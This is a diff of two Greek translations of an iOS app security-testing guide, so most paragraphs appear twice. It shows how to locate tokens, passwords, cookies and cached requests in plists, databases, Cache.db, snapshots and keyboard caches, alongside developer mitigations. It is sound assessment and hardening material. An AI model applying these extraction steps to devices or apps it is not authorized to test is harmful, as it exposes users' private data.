Μεταξύ της πληθώρας πληροφοριών που μπορεί να αποκαλύψει το αρχείο **Info.plist**, οι αξιοσημείωτες καταχωρήσεις περιλαμβάνουν τις συμβολοσειρές αδειών εφαρμογής (`UsageDescription`), τα προσαρμοσμένα URL schemes (`CFBundleURLTypes`), και τις ρυθμίσεις για την Ασφάλεια Μεταφοράς Εφαρμογών (`NSAppTransportSecurity`). Αυτές οι καταχωρήσεις, μαζί με άλλες όπως οι εξαγόμενοι/εισαγόμενοι τύποι εγγράφων (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), μπορούν να εντοπιστούν εύκολα με την επιθεώρηση του αρχείου ή χρησιμοποιώντας μια απλή εντολή `grep`:
|
||||
Ανάμεσα στην πληθώρα πληροφοριών που μπορεί να αποκαλύψει το αρχείο **Info.plist**, οι αξιοσημείωτες καταχωρήσεις περιλαμβάνουν τις συμβολοσειρές αδειών εφαρμογής (`UsageDescription`), τα προσαρμοσμένα URL schemes (`CFBundleURLTypes`), και τις ρυθμίσεις για την Ασφάλεια Μεταφοράς Εφαρμογών (`NSAppTransportSecurity`). Αυτές οι καταχωρήσεις, μαζί με άλλες όπως οι εξαγόμενοι/εισαγόμενοι τύποι εγγράφων (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), μπορούν να εντοπιστούν εύκολα με την επιθεώρηση του αρχείου ή χρησιμοποιώντας μια απλή εντολή `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -200,9 +200,9 @@ $ grep -i <keyword> Info.plist
|
||||
Στο περιβάλλον iOS, οι καταλόγοι προορίζονται συγκεκριμένα για **εφαρμογές συστήματος** και **εφαρμογές που έχουν εγκατασταθεί από τον χρήστη**. Οι εφαρμογές συστήματος βρίσκονται στον κατάλογο `/Applications`, ενώ οι εφαρμογές που έχουν εγκατασταθεί από τον χρήστη τοποθετούνται κάτω από `/var/mobile/containers/Data/Application/`. Αυτές οι εφαρμογές έχουν ανατεθεί μια μοναδική ταυτότητα γνωστή ως **128-bit UUID**, καθιστώντας την εργασία της χειροκίνητης εύρεσης του φακέλου μιας εφαρμογής δύσκολη λόγω της τυχαιότητας των ονομάτων των καταλόγων.
|
||||
|
||||
> [!WARNING]
|
||||
> Καθώς οι εφαρμογές στο iOS πρέπει να είναι απομονωμένες, κάθε εφαρμογή θα έχει επίσης έναν φάκελο μέσα στο **`$HOME/Library/Containers`** με το **`CFBundleIdentifier`** της εφαρμογής ως το όνομα του φακέλου.
|
||||
> Καθώς οι εφαρμογές στο iOS πρέπει να είναι sandboxed, κάθε εφαρμογή θα έχει επίσης έναν φάκελο μέσα στο **`$HOME/Library/Containers`** με το **`CFBundleIdentifier`** της εφαρμογής ως όνομα φακέλου.
|
||||
>
|
||||
> Ωστόσο, και οι δύο φάκελοι (φάκελοι δεδομένων & κοντέινερ) έχουν το αρχείο **`.com.apple.mobile_container_manager.metadata.plist`** που συνδέει και τα δύο αρχεία με το κλειδί `MCMetadataIdentifier`).
|
||||
> Ωστόσο, και οι δύο φάκελοι (φακέλοι δεδομένων & κοντέινερ) έχουν το αρχείο **`.com.apple.mobile_container_manager.metadata.plist`** που συνδέει και τα δύο αρχεία με το κλειδί `MCMetadataIdentifier`).
|
||||
|
||||
Για να διευκολυνθεί η ανακάλυψη του καταλόγου εγκατάστασης μιας εφαρμογής που έχει εγκατασταθεί από τον χρήστη, το εργαλείο **objection** παρέχει μια χρήσιμη εντολή, `env`. Αυτή η εντολή αποκαλύπτει λεπτομερείς πληροφορίες καταλόγου για την εφαρμογή σε ερώτηση. Παρακάτω είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε αυτήν την εντολή:
|
||||
```bash
|
||||
@ -227,7 +227,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
**Διεύθυνση πακέτου:**
|
||||
|
||||
- **AppName.app**
|
||||
- Αυτό είναι το Application Bundle όπως έχει δει προηγουμένως στο IPA, περιέχει βασικά δεδομένα εφαρμογής, στατικό περιεχόμενο καθώς και το μεταγλωττισμένο δυαδικό αρχείο της εφαρμογής.
|
||||
- Αυτό είναι το Application Bundle όπως έχει δει προηγουμένως στο IPA, περιέχει βασικά δεδομένα εφαρμογής, στατικό περιεχόμενο καθώς και το μεταγλωττισμένο δυαδικό της εφαρμογής.
|
||||
- Αυτή η διεύθυνση είναι ορατή στους χρήστες, αλλά **οι χρήστες δεν μπορούν να γράψουν σε αυτήν**.
|
||||
- Το περιεχόμενο σε αυτή τη διεύθυνση **δεν είναι αντίγραφο ασφαλείας**.
|
||||
- Τα περιεχόμενα αυτού του φακέλου χρησιμοποιούνται για **επικύρωση της υπογραφής κώδικα**.
|
||||
@ -248,9 +248,9 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Το περιεχόμενο σε αυτή τη διεύθυνση **δεν είναι αντίγραφο ασφαλείας**.
|
||||
- Το λειτουργικό σύστημα μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||
- **Library/Application Support/**
|
||||
- Περιέχει **μόνιμα** **αρχεία** απαραίτητα για τη λειτουργία της εφαρμογής.
|
||||
- **Αόρατη** **στους** **χρήστες** και οι χρήστες δεν μπορούν να γράψουν σε αυτήν.
|
||||
- Το περιεχόμενο σε αυτή τη διεύθυνση **είναι αντίγραφο ασφαλείας**.
|
||||
- Περιέχει **μόνιμα** **αρχεία** απαραίτητα για την εκτέλεση της εφαρμογής.
|
||||
- **Αόρατη** **για** **τους** **χρήστες** και οι χρήστες δεν μπορούν να γράψουν σε αυτήν.
|
||||
- Το περιεχόμενο σε αυτή τη διεύθυνση **είναι** **αντίγραφο** **ασφαλείας**.
|
||||
- Η εφαρμογή μπορεί να απενεργοποιήσει διαδρομές ορίζοντας το `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/Preferences/**
|
||||
- Χρησιμοποιείται για την αποθήκευση ιδιοτήτων που μπορούν να **διαρκέσουν ακόμη και μετά την επανεκκίνηση μιας εφαρμογής**.
|
||||
@ -259,7 +259,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- **tmp/**
|
||||
- Χρησιμοποιήστε αυτή τη διεύθυνση για να γράψετε **προσωρινά αρχεία** που δεν χρειάζεται να διαρκέσουν μεταξύ των εκκινήσεων της εφαρμογής.
|
||||
- Περιέχει μη μόνιμα αρχεία cache.
|
||||
- **Αόρατη** στους χρήστες.
|
||||
- **Αόρατη** για τους χρήστες.
|
||||
- Το περιεχόμενο σε αυτή τη διεύθυνση δεν είναι αντίγραφο ασφαλείας.
|
||||
- Το λειτουργικό σύστημα μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||
|
||||
@ -279,7 +279,7 @@ Regular 420 None ... README.txt
|
||||
```
|
||||
### Αντίστροφη Μηχανική Δυαδικών
|
||||
|
||||
Μέσα στον φάκελο `<application-name>.app` θα βρείτε ένα δυαδικό αρχείο που ονομάζεται `<application-name>`. Αυτό είναι το αρχείο που θα **εκτελείται**. Μπορείτε να εκτελέσετε μια βασική επιθεώρηση του δυαδικού με το εργαλείο **`otool`**:
|
||||
Μέσα στον φάκελο `<application-name>.app` θα βρείτε ένα δυαδικό αρχείο που ονομάζεται `<application-name>`. Αυτό είναι το αρχείο που θα **εκτελείται**. Μπορείτε να εκτελέσετε μια βασική επιθεώρηση του δυαδικού αρχείου με το εργαλείο **`otool`**:
|
||||
```bash
|
||||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
@ -367,15 +367,15 @@ ios-basics.md
|
||||
|
||||
> [!WARNING]
|
||||
> Οι παρακάτω χώροι αποθήκευσης πληροφοριών θα πρέπει να ελέγχονται **αμέσως μετά την εγκατάσταση της εφαρμογής**, **μετά τον έλεγχο όλων των λειτουργιών** της εφαρμογής και ακόμη και μετά **την αποσύνδεση από έναν χρήστη και την είσοδο σε έναν διαφορετικό**.\
|
||||
> Ο στόχος είναι να βρείτε **μη προστατευμένες ευαίσθητες πληροφορίες** της εφαρμογής (κωδικούς πρόσβασης, tokens), του τρέχοντος χρήστη και προηγούμενων συνδεδεμένων χρηστών.
|
||||
> Ο στόχος είναι να βρείτε **μη προστατευμένες ευαίσθητες πληροφορίες** της εφαρμογής (κωδικοί πρόσβασης, tokens), του τρέχοντος χρήστη και προηγούμενων συνδεδεμένων χρηστών.
|
||||
|
||||
### Plist
|
||||
|
||||
Τα αρχεία **plist** είναι δομημένα αρχεία XML που **περιέχουν ζεύγη κλειδιού-τιμής**. Είναι ένας τρόπος αποθήκευσης μόνιμων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε **ευαίσθητες πληροφορίες σε αυτά τα αρχεία**. Συνιστάται να ελέγχετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά τη χρήση της εντατικά για να δείτε αν έχουν γραφτεί νέα δεδομένα.
|
||||
Τα **plist** αρχεία είναι δομημένα XML αρχεία που **περιέχουν ζεύγη κλειδιού-τιμής**. Είναι ένας τρόπος αποθήκευσης μόνιμων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε **ευαίσθητες πληροφορίες σε αυτά τα αρχεία**. Συνιστάται να ελέγξετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά τη χρήση της εντατικά για να δείτε αν έχουν γραφτεί νέα δεδομένα.
|
||||
|
||||
Ο πιο κοινός τρόπος για να διατηρηθούν τα δεδομένα σε αρχεία plist είναι μέσω της χρήσης του **NSUserDefaults**. Αυτό το αρχείο plist αποθηκεύεται μέσα στο sandbox της εφαρμογής στο **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
Η κλάση [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) παρέχει μια προγραμματιστική διεπαφή για την αλληλεπίδραση με το προεπιλεγμένο σύστημα. Το προεπιλεγμένο σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόσει τη συμπεριφορά της σύμφωνα με τις **προτιμήσεις του χρήστη**. Τα δεδομένα που αποθηκεύονται από το `NSUserDefaults` μπορούν να προβληθούν στο πακέτο της εφαρμογής. Αυτή η κλάση αποθηκεύει **δεδομένα** σε ένα **αρχείο plist**, αλλά προορίζεται να χρησιμοποιείται με μικρές ποσότητες δεδομένων.
|
||||
Η κλάση [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) παρέχει μια προγραμματιστική διεπαφή για την αλληλεπίδραση με το προεπιλεγμένο σύστημα. Το προεπιλεγμένο σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόσει τη συμπεριφορά της σύμφωνα με τις **προτιμήσεις του χρήστη**. Τα δεδομένα που αποθηκεύονται από το `NSUserDefaults` μπορούν να προβληθούν στο πακέτο της εφαρμογής. Αυτή η κλάση αποθηκεύει **δεδομένα** σε ένα **plist** **αρχείο**, αλλά προορίζεται να χρησιμοποιείται με μικρές ποσότητες δεδομένων.
|
||||
|
||||
Αυτά τα δεδομένα δεν μπορούν πλέον να προσπελαστούν απευθείας μέσω ενός αξιόπιστου υπολογιστή, αλλά μπορούν να προσπελαστούν εκτελώντας ένα **backup**.
|
||||
|
||||
@ -385,7 +385,7 @@ ios-basics.md
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
Για να μετατρέψετε αρχεία από **XML ή δυαδική (bplist)** μορφή σε XML, διατίθενται διάφορες μέθοδοι ανάλογα με το λειτουργικό σας σύστημα:
|
||||
Για να μετατρέψετε αρχεία από **XML ή δυαδική (bplist)** μορφή σε XML, διάφορες μέθοδοι ανάλογα με το λειτουργικό σας σύστημα είναι διαθέσιμες:
|
||||
|
||||
**Για χρήστες macOS:** Χρησιμοποιήστε την εντολή `plutil`. Είναι ένα ενσωματωμένο εργαλείο στο macOS (10.2+), σχεδιασμένο για αυτόν τον σκοπό:
|
||||
```bash
|
||||
@ -402,10 +402,10 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) είναι ένα πλαίσιο για τη διαχείριση της μοντελοποιημένης στρώσης αντικειμένων στην εφαρμογή σας. [Το Core Data μπορεί να χρησιμοποιεί το SQLite ως μόνιμο αποθηκευτικό χώρο](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), αλλά το ίδιο το πλαίσιο δεν είναι βάση δεδομένων.\
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) είναι ένα πλαίσιο για τη διαχείριση της μοντελοποιημένης στρώσης αντικειμένων στην εφαρμογή σας. [Το Core Data μπορεί να χρησιμοποιήσει το SQLite ως μόνιμο αποθηκευτικό χώρο](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), αλλά το ίδιο το πλαίσιο δεν είναι μια βάση δεδομένων.\
|
||||
Το CoreData δεν κρυπτογραφεί τα δεδομένα του από προεπιλογή. Ωστόσο, μπορεί να προστεθεί μια επιπλέον στρώση κρυπτογράφησης στο CoreData. Δείτε το [GitHub Repo](https://github.com/project-imas/encrypted-core-data) για περισσότερες λεπτομέρειες.
|
||||
|
||||
Μπορείτε να βρείτε τις πληροφορίες SQLite Core Data μιας εφαρμογής στη διαδρομή `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
Μπορείτε να βρείτε τις πληροφορίες Core Data SQLite μιας εφαρμογής στη διαδρομή `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
|
||||
**Αν μπορείτε να ανοίξετε το SQLite και να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες, τότε έχετε βρει μια κακή ρύθμιση.**
|
||||
```objectivec:Code from iGoat
|
||||
@ -433,7 +433,7 @@ NSLog(@"data stored in core data");
|
||||
```
|
||||
### YapDatabase
|
||||
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) είναι ένα κατάστημα κλειδιού/τιμής που έχει κατασκευαστεί πάνω από το SQLite.\
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) είναι μια αποθήκη κλειδιού/τιμής που έχει κατασκευαστεί πάνω από το SQLite.\
|
||||
Δεδομένου ότι οι βάσεις δεδομένων Yap είναι βάσεις δεδομένων sqlite, μπορείτε να τις βρείτε χρησιμοποιώντας την προτεινόμενη εντολή στην προηγούμενη ενότητα.
|
||||
|
||||
### Άλλες Βάσεις Δεδομένων SQLite
|
||||
@ -465,7 +465,7 @@ $ find ./ -name "*.realm*"
|
||||
```
|
||||
Για την προβολή αυτών των αρχείων βάσης δεδομένων, προτείνεται το εργαλείο [**Realm Studio**](https://github.com/realm/realm-studio).
|
||||
|
||||
Για να υλοποιηθεί η κρυπτογράφηση μέσα σε μια βάση δεδομένων Realm, μπορεί να χρησιμοποιηθεί το παρακάτω απόσπασμα κώδικα:
|
||||
Για την υλοποίηση κρυπτογράφησης μέσα σε μια βάση δεδομένων Realm, μπορεί να χρησιμοποιηθεί το παρακάτω απόσπασμα κώδικα:
|
||||
```swift
|
||||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||||
let config = Realm.Configuration(encryptionKey: getKey())
|
||||
@ -489,7 +489,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
|
||||
Το iOS αποθηκεύει τα cookies των εφαρμογών στο **`Library/Cookies/cookies.binarycookies`** μέσα στον φάκελο κάθε εφαρμογής. Ωστόσο, οι προγραμματιστές μερικές φορές αποφασίζουν να τα αποθηκεύσουν στο **keychain** καθώς το αναφερόμενο **cookie file μπορεί να προσπελαστεί σε αντίγραφα ασφαλείας**.
|
||||
|
||||
Για να επιθεωρήσετε το αρχείο cookies μπορείτε να χρησιμοποιήσετε [**αυτό το python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ή να χρησιμοποιήσετε την εντολή **`ios cookies get`** του objection.\
|
||||
Για να επιθεωρήσετε το αρχείο cookies μπορείτε να χρησιμοποιήσετε [**αυτό το python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ή να χρησιμοποιήσετε το **`ios cookies get`** του objection.\
|
||||
**Μπορείτε επίσης να χρησιμοποιήσετε το objection για** να μετατρέψετε αυτά τα αρχεία σε μορφή JSON και να επιθεωρήσετε τα δεδομένα.
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
@ -508,33 +508,33 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
```
|
||||
### Cache
|
||||
|
||||
Από προεπιλογή, το NSURLSession αποθηκεύει δεδομένα, όπως **HTTP requests και responses στη βάση δεδομένων Cache.db**. Αυτή η βάση δεδομένων μπορεί να περιέχει **ευαίσθητα δεδομένα**, εάν έχουν αποθηκευτεί tokens, usernames ή οποιαδήποτε άλλη ευαίσθητη πληροφορία. Για να βρείτε τις αποθηκευμένες πληροφορίες, ανοίξτε τον κατάλογο δεδομένων της εφαρμογής (`/var/mobile/Containers/Data/Application/<UUID>`) και μεταβείτε στο `/Library/Caches/<Bundle Identifier>`. Η **WebKit cache αποθηκεύεται επίσης στο αρχείο Cache.db**. **Objection** μπορεί να ανοίξει και να αλληλεπιδράσει με τη βάση δεδομένων με την εντολή `sqlite connect Cache.db`, καθώς είναι μια **κανονική βάση δεδομένων SQLite**.
|
||||
Από προεπιλογή, το NSURLSession αποθηκεύει δεδομένα, όπως **HTTP αιτήματα και απαντήσεις στη βάση δεδομένων Cache.db**. Αυτή η βάση δεδομένων μπορεί να περιέχει **ευαίσθητα δεδομένα**, εάν έχουν αποθηκευτεί tokens, ονόματα χρηστών ή οποιαδήποτε άλλη ευαίσθητη πληροφορία. Για να βρείτε τις αποθηκευμένες πληροφορίες, ανοίξτε τον κατάλογο δεδομένων της εφαρμογής (`/var/mobile/Containers/Data/Application/<UUID>`) και μεταβείτε στο `/Library/Caches/<Bundle Identifier>`. Η **cache του WebKit αποθηκεύεται επίσης στο αρχείο Cache.db**. **Objection** μπορεί να ανοίξει και να αλληλεπιδράσει με τη βάση δεδομένων με την εντολή `sqlite connect Cache.db`, καθώς είναι μια **κανονική βάση δεδομένων SQLite**.
|
||||
|
||||
Είναι **συνιστώμενο να απενεργοποιήσετε την αποθήκευση αυτών των δεδομένων**, καθώς μπορεί να περιέχουν ευαίσθητες πληροφορίες στην αίτηση ή την απάντηση. Η παρακάτω λίστα δείχνει διάφορους τρόπους για να το επιτύχετε αυτό:
|
||||
Συνιστάται **να απενεργοποιήσετε την αποθήκευση αυτών των δεδομένων**, καθώς μπορεί να περιέχουν ευαίσθητες πληροφορίες στην αίτηση ή την απάντηση. Η παρακάτω λίστα δείχνει διάφορους τρόπους για να το επιτύχετε αυτό:
|
||||
|
||||
1. Συνιστάται να αφαιρείτε τις Cached responses μετά την αποσύνδεση. Αυτό μπορεί να γίνει με τη μέθοδο που παρέχει η Apple, που ονομάζεται [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Μπορείτε να καλέσετε αυτή τη μέθοδο ως εξής:
|
||||
1. Συνιστάται να αφαιρείτε τις αποθηκευμένες απαντήσεις μετά την αποσύνδεση. Αυτό μπορεί να γίνει με τη μέθοδο που παρέχει η Apple, που ονομάζεται [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Μπορείτε να καλέσετε αυτή τη μέθοδο ως εξής:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
Αυτή η μέθοδος θα αφαιρέσει όλες τις αποθηκευμένες αιτήσεις και απαντήσεις από το αρχείο Cache.db.
|
||||
Αυτή η μέθοδος θα αφαιρέσει όλα τα αποθηκευμένα αιτήματα και απαντήσεις από το αρχείο Cache.db.
|
||||
|
||||
2. Εάν δεν χρειάζεται να χρησιμοποιήσετε το πλεονέκτημα των cookies, θα ήταν συνιστώμενο να χρησιμοποιήσετε την ιδιότητα διαμόρφωσης [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) του URLSession, η οποία θα απενεργοποιήσει την αποθήκευση cookies και Caches.
|
||||
2. Εάν δεν χρειάζεται να χρησιμοποιήσετε το πλεονέκτημα των cookies, θα ήταν προτιμότερο να χρησιμοποιήσετε την ιδιότητα διαμόρφωσης [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) του URLSession, η οποία θα απενεργοποιήσει την αποθήκευση cookies και Caches.
|
||||
|
||||
[Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.`
|
||||
|
||||
3. Η Cache μπορεί επίσης να απενεργοποιηθεί ρυθμίζοντας την Πολιτική Cache σε [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Αυτό θα απενεργοποιήσει την αποθήκευση Cache με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στο δίσκο.
|
||||
3. Η cache μπορεί επίσης να απενεργοποιηθεί ρυθμίζοντας την Πολιτική Cache σε [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Αυτό θα απενεργοποιήσει την αποθήκευση της cache με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στο δίσκο.
|
||||
|
||||
### Snapshots
|
||||
|
||||
Όποτε πατάτε το κουμπί αρχικής οθόνης, το iOS **λαμβάνει μια στιγμιότυπο της τρέχουσας οθόνης** για να μπορέσει να κάνει τη μετάβαση στην εφαρμογή με πολύ πιο ομαλό τρόπο. Ωστόσο, εάν υπάρχουν **ευαίσθητα** **δεδομένα** στην τρέχουσα οθόνη, θα **αποθηκευτούν** στην **εικόνα** (η οποία **διατηρείται** **μετά** **από** **επανεκκινήσεις**). Αυτά είναι τα στιγμιότυπα που μπορείτε επίσης να αποκτήσετε πρόσβαση διπλά πατώντας την αρχική οθόνη για να αλλάξετε μεταξύ εφαρμογών.
|
||||
|
||||
Εκτός εάν το iPhone είναι jailbroken, ο **επιτιθέμενος** χρειάζεται να έχει **πρόσβαση** στη **συσκευή** **ξεκλειδωμένη** για να δει αυτά τα στιγμιότυπα. Από προεπιλογή, το τελευταίο στιγμιότυπο αποθηκεύεται στο sandbox της εφαρμογής στον φάκελο `Library/Caches/Snapshots/` ή `Library/SplashBoard/Snapshots` (οι αξιόπιστοι υπολογιστές δεν μπορούν να έχουν πρόσβαση στο filesystem από το iOX 7.0).
|
||||
Εκτός εάν το iPhone είναι jailbroken, ο **επιτιθέμενος** χρειάζεται να έχει **πρόσβαση** στη **συσκευή** **ξεκλειδωμένη** για να δει αυτά τα στιγμιότυπα. Από προεπιλογή, το τελευταίο στιγμιότυπο αποθηκεύεται στο sandbox της εφαρμογής στον φάκελο `Library/Caches/Snapshots/` ή `Library/SplashBoard/Snapshots` (οι αξιόπιστοι υπολογιστές δεν μπορούν να έχουν πρόσβαση στο σύστημα αρχείων από το iOX 7.0).
|
||||
|
||||
Ένας τρόπος για να αποτρέψετε αυτή τη κακή συμπεριφορά είναι να βάλετε μια κενή οθόνη ή να αφαιρέσετε τα ευαίσθητα δεδομένα πριν από τη λήψη του στιγμιότυπου χρησιμοποιώντας τη λειτουργία `ApplicationDidEnterBackground()`.
|
||||
|
||||
Η παρακάτω είναι μια δείγμα μεθόδου αποκατάστασης που θα ορίσει ένα προεπιλεγμένο στιγμιότυπο οθόνης.
|
||||
Η παρακάτω είναι μια δείγμα μεθόδου αποκατάστασης που θα ορίσει ένα προεπιλεγμένο στιγμιότυπο.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
@ -566,7 +566,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
[self.backgroundImage removeFromSuperview];
|
||||
}
|
||||
```
|
||||
Αυτό ρυθμίζει την εικόνα φόντου σε `overlayImage.png` όποτε η εφαρμογή είναι στο παρασκήνιο. Αποτρέπει τις ευαίσθητες διαρροές δεδομένων επειδή το `overlayImage.png` θα υπερκαλύπτει πάντα την τρέχουσα προβολή.
|
||||
Αυτό ρυθμίζει την εικόνα φόντου σε `overlayImage.png` όποτε η εφαρμογή είναι στο παρασκήνιο. Αποτρέπει τις διαρροές ευαίσθητων δεδομένων επειδή το `overlayImage.png` θα υπερκαλύπτει πάντα την τρέχουσα προβολή.
|
||||
|
||||
### Keychain
|
||||
|
||||
@ -574,7 +574,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
|
||||
#### **Αποθήκευση Διαπιστευτηρίων**
|
||||
|
||||
Η κλάση **NSURLCredential** είναι ιδανική για την αποθήκευση ευαίσθητων πληροφοριών απευθείας στο keychain, παρακάμπτοντας την ανάγκη για NSUserDefaults ή άλλες περιτυλίξεις. Για να αποθηκεύσετε διαπιστευτήρια μετά την είσοδο, χρησιμοποιείται ο παρακάτω κώδικας Swift:
|
||||
Η κλάση **NSURLCredential** είναι ιδανική για την αποθήκευση ευαίσθητων πληροφοριών απευθείας στο keychain, παρακάμπτοντας την ανάγκη για NSUserDefaults ή άλλες περιτυλίξεις. Για να αποθηκευτούν τα διαπιστευτήρια μετά την είσοδο, χρησιμοποιείται ο παρακάτω κώδικας Swift:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
@ -584,11 +584,11 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||
|
||||
## **Προσαρμοσμένα Πληκτρολόγια και Κρυφή Μνήμη Πληκτρολογίου**
|
||||
|
||||
Με το iOS 8.0 και μετά, οι χρήστες μπορούν να εγκαταστήσουν προσαρμοσμένες επεκτάσεις πληκτρολογίου, οι οποίες είναι διαχειρίσιμες κάτω από **Ρυθμίσεις > Γενικά > Πληκτρολόγιο > Πληκτρολόγια**. Ενώ αυτά τα πληκτρολόγια προσφέρουν επεκτεταμένη λειτουργικότητα, ενέχουν τον κίνδυνο καταγραφής πλήκτρων και μετάδοσης δεδομένων σε εξωτερικούς διακομιστές, αν και οι χρήστες ειδοποιούνται για τα πληκτρολόγια που απαιτούν πρόσβαση στο δίκτυο. Οι εφαρμογές μπορούν και πρέπει να περιορίζουν τη χρήση προσαρμοσμένων πληκτρολογίων για την εισαγωγή ευαίσθητων πληροφοριών.
|
||||
Με το iOS 8.0 και μετά, οι χρήστες μπορούν να εγκαταστήσουν προσαρμοσμένες επεκτάσεις πληκτρολογίου, οι οποίες είναι διαχειρίσιμες υπό **Ρυθμίσεις > Γενικά > Πληκτρολόγιο > Πληκτρολόγια**. Ενώ αυτά τα πληκτρολόγια προσφέρουν επεκτεταμένη λειτουργικότητα, ενέχουν τον κίνδυνο καταγραφής πλήκτρων και μετάδοσης δεδομένων σε εξωτερικούς διακομιστές, αν και οι χρήστες ειδοποιούνται για τα πληκτρολόγια που απαιτούν πρόσβαση στο δίκτυο. Οι εφαρμογές μπορούν και πρέπει να περιορίζουν τη χρήση προσαρμοσμένων πληκτρολογίων για την εισαγωγή ευαίσθητων πληροφοριών.
|
||||
|
||||
**Συστάσεις Ασφαλείας:**
|
||||
|
||||
- Συνιστάται να απενεργοποιήσετε τα πληκτρολόγια τρίτων για αυξημένη ασφάλεια.
|
||||
- Συνιστάται να απενεργοποιούνται τα πληκτρολόγια τρίτων για αυξημένη ασφάλεια.
|
||||
- Να είστε προσεκτικοί με τις δυνατότητες αυτόματης διόρθωσης και αυτόματων προτάσεων του προεπιλεγμένου πληκτρολογίου iOS, οι οποίες θα μπορούσαν να αποθηκεύσουν ευαίσθητες πληροφορίες σε αρχεία κρυφής μνήμης που βρίσκονται σε `Library/Keyboard/{locale}-dynamic-text.dat` ή `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Αυτά τα αρχεία κρυφής μνήμης θα πρέπει να ελέγχονται τακτικά για ευαίσθητα δεδομένα. Συνιστάται η επαναφορά του λεξικού πληκτρολογίου μέσω **Ρυθμίσεις > Γενικά > Επαναφορά > Επαναφορά Λεξικού Πληκτρολογίου** για την εκκαθάριση των αποθηκευμένων δεδομένων.
|
||||
- Η παρεμβολή της δικτυακής κίνησης μπορεί να αποκαλύψει εάν ένα προσαρμοσμένο πληκτρολόγιο μεταδίδει πλήκτρα απομακρυσμένα.
|
||||
|
||||
@ -599,7 +599,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
Επιπλέον, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι τα πεδία κειμένου, ειδικά αυτά για την εισαγωγή ευαίσθητων πληροφοριών όπως κωδικοί πρόσβασης και PIN, απενεργοποιούν την προσωρινή αποθήκευση ρυθμίζοντας το `autocorrectionType` σε `UITextAutocorrectionTypeNo` και το `secureTextEntry` σε `YES`.
|
||||
